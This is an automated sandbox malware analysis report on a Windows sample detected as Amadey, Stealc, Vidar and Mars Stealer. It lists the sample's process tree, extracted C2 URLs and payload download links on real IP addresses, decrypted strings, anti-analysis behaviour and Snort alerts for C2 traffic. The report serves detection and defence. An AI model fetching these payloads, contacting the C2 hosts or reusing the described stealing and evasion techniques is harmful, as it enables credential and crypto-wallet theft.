Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1467951
MD5:	16bf3fec4a6dc3fd98a032b500c5b3de
SHA1:	299a6b404e7eeecc50cb6fe526e37f9c2b970ef0
SHA256:	d64aab9e3aa0e3f707bfff0b1179a3d4f1bf4e7335c922a85181f8b3c05e7bd5
Tags:	exe
Infos:

Detection

Amadey, Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Amadeys stealer DLL

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has nameless sections

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Use Short Name Path in Command Line

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2340 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 16BF3FEC4A6DC3FD98A032B500C5B3DE)

cmd.exe (PID: 7672 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

JDGCFBAFBF.exe (PID: 7772 cmdline: "C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe" MD5: 02F8814BF92076A189CBB26DE55208F0)

explorti.exe (PID: 8120 cmdline: "C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe" MD5: 02F8814BF92076A189CBB26DE55208F0)

cmd.exe (PID: 7696 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\HIJJDGDHDG.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorti.exe (PID: 1588 cmdline: C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 02F8814BF92076A189CBB26DE55208F0)

explorti.exe (PID: 7672 cmdline: C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 02F8814BF92076A189CBB26DE55208F0)

explorti.exe (PID: 5984 cmdline: C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 02F8814BF92076A189CBB26DE55208F0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "85.28.47.30/920475a59bac849d.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.30/920475a59bac849d.php"}

Threatname: Amadey

{"C2 url": ["http://77.91.77.82/Hun4Ko/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000019.00000002.2682883781.00000000009E1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.1434730424.00000000048C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000002.1481277906.0000000000E11000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1433619231.0000000000921000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1433619231.0000000000921000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000019.00000003.2642592451.00000000051D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.2038395246.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.2078738506.00000000009E1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000002.3709105416.00000000009E1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000003.3242863532.0000000004A00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1436568097.0000000001B26000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.3283992897.00000000009E1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000003.1478211877.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 2340	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2340	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2340	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
25.2.explorti.exe.9e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.2.explorti.exe.9e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.explorti.exe.9e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.explorti.exe.9e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.920000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.920000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
17.2.JDGCFBAFBF.exe.e10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe, ParentProcessId: 7772, ParentProcessName: JDGCFBAFBF.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe" , ProcessId: 8120, ProcessName: explorti.exe

Snort Signatures

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.7 - Destination IP: 85.28.47.30

Timestamp:	07/05/24-06:22:59.752276
SID:	2044244
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Activity M3 - Source IP: 192.168.2.7 - Destination IP: 77.91.77.82

Timestamp:	07/05/24-06:23:24.250522
SID:	2856147
Source Port:	51497
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.7 - Destination IP: 85.28.47.30

Timestamp:	07/05/24-06:22:59.945226
SID:	2044246
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 85.28.47.30 - Destination IP: 192.168.2.7

Timestamp:	07/05/24-06:22:59.943416
SID:	2051828
Source Port:	80
Destination Port:	49699
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 85.28.47.30 - Destination IP: 192.168.2.7

Timestamp:	07/05/24-06:23:00.137638
SID:	2051831
Source Port:	80
Destination Port:	49699
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.7 - Destination IP: 85.28.47.30

Timestamp:	07/05/24-06:22:58.755313
SID:	2044243
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://77.91.77.81/mine/amadka.exe.phpefoxrefox	Avira URL Cloud: Label: phishing
Source: http://85.28.47.30/69934896f997d5bb/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exe	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/cost/go.exe	Avira URL Cloud: Label: phishing
Source: http://85.28.47.30/69934896f997d5bb/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exeOpera	Avira URL Cloud: Label: phishing
Source: http://77.91.77.82/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://85.28.47.30/69934896f997d5bb/freebl3.dll;	Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/softokn3.dll7	Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/nss3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php#ZC	Avira URL Cloud: Label: phishing
Source: http://85.28.47.30/69934896f997d5bb/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/mozglue.dllw	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exe00	Avira URL Cloud: Label: phishing
Source: 85.28.47.30/920475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://85.28.47.30/920475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe00	Avira URL Cloud: Label: phishing
Source: http://85.28.47.30/69934896f997d5bb/sqlite3.dllc	Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/vcruntime140.dllV	Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.30	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\amadka[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0.2.file.exe.920000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.30/920475a59bac849d.php"}
Source: file.exe.2340.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "85.28.47.30/920475a59bac849d.php"}
Source: explorti.exe.8120.19.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://77.91.77.82/Hun4Ko/index.php"]}

Multi AV Scanner detection for domain / URL

Source: http://77.91.77.82/Hun4Ko/index.phpO	Virustotal: Detection: 22%	Perma Link
Source: http://77.91.77.81/mine/amadka.exe	Virustotal: Detection: 26%	Perma Link
Source: http://77.91.77.81/cost/go.exe	Virustotal: Detection: 27%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php	Virustotal: Detection: 24%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php#ZC	Virustotal: Detection: 24%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php9	Virustotal: Detection: 20%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php3	Virustotal: Detection: 21%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php8#	Virustotal: Detection: 21%	Perma Link
Source: http://77.91.77.82/	Virustotal: Detection: 25%	Perma Link
Source: http://77.91.77.81/mine/amadka.exe00	Virustotal: Detection: 25%	Perma Link
Source: http://77.91.77.81/cost/go.exe00	Virustotal: Detection: 25%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 45%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\amadka[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.920000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.920000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.920000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.920000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.920000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.920000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.920000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.920000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.920000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.920000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.920000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.920000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.920000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.920000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.920000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.920000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.920000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.920000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.920000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.920000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.920000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.920000.0.unpack	String decryptor: http://85.28.47.30
Source: 0.2.file.exe.920000.0.unpack	String decryptor: /920475a59bac849d.php
Source: 0.2.file.exe.920000.0.unpack	String decryptor: /69934896f997d5bb/
Source: 0.2.file.exe.920000.0.unpack	String decryptor: Nice
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.920000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.920000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.920000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.920000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.920000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.920000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.920000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.920000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.920000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.920000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.920000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.920000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.920000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.920000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.920000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.920000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.920000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.920000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.920000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.920000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.920000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.920000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.920000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.920000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.920000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.920000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.920000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.920000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.920000.0.unpack	String decryptor: DeleteObject

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CDB6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6CDB6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1477690456.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1477690456.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.7:49699 -> 85.28.47.30:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.7:49699 -> 85.28.47.30:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 85.28.47.30:80 -> 192.168.2.7:49699
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.7:49699 -> 85.28.47.30:80
